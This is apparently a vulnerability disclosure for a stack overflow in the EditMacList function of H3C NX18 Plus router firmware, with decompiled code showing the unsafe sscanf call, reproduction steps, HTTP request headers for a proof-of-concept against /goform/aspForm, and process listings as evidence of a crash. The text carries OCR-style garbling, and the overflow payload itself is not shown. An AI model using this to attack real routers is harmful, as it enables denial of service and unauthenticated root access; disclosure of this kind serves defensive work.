

# stack overflow vulnerability

### Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

#### **Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview:



## **Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the EditMacList function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
int v22[36]; // [sp+128h] [-104h] BYREF
22
23
    char v23[32]; // [sp+1B8h] [-74h] BYREF
    char v24[32]; // [sp+1D8h] [-54h] BYREF
24
25
    char v25[32]; // [sp+1F8h] [-34h] BYREF
     char v26[8]; // [sp+218h] [-14h] BYREF
26
27
     int v27[3]; // [sp+220h] [-Ch] BYREF
28
     memset(v25, 0, sizeof(v25));
29
     memset(v24, 0, sizeof(v24));
30
31
     \vee 27[0] = 0;
32
    v2 = websgetvar(a1,
                          "param",
33
    if ( V2 )
34
      v3 = (const char *)v2;
35
36
     memset(v23, 0, sizeof(v23));
      sscant(v3, "%[^;];", v23);
37
38
       V4 = strlen(V23);
```

In the EditMacList function, the param we entered is formatted using the sscanf function and in the form of %[^;]; . This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V23, it will cause a stack overflow.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

#### 2. Attack with the following POC attacks

Sec-Fetch-User: ?1

POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0. Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2Accept-Encoding: gzip, deflate Referer: https://121.226.152.63:8443/router password mobile.asp Content-Type: application/x-www-form-urlencoded Content-Length: 536 Origin: https://192.168.124.1:80 DNT: 1 Connection: close Cookie: LOGIN PSD REM FLAG=0; PSWMOBILEFLAG=true Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin

The picture above shows the process information before we send poc.

```
1793 *root 820 S /bin/dhcpd -d -q br0

1842 *root 1692 S upnpd /var/run/upnp_385875969 br0 WAN1

2245 *root SW [kworker/0:1]

2270 *root SW [kworker/1:1]

2543 *root SW [kworker/3:1]

2550 *root SW [kworker/2:2]

2649 *root SW [kworker/0:0]

2797 *root SW [kworker/u8:0]

3373 *root 760 S -mwclt

3380 *root 764 S /bin/sh

3396 *root 4360 S /bin/webs &

3400 *root 764 R ps


26984 *root 1036 S telnetd

/ #
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.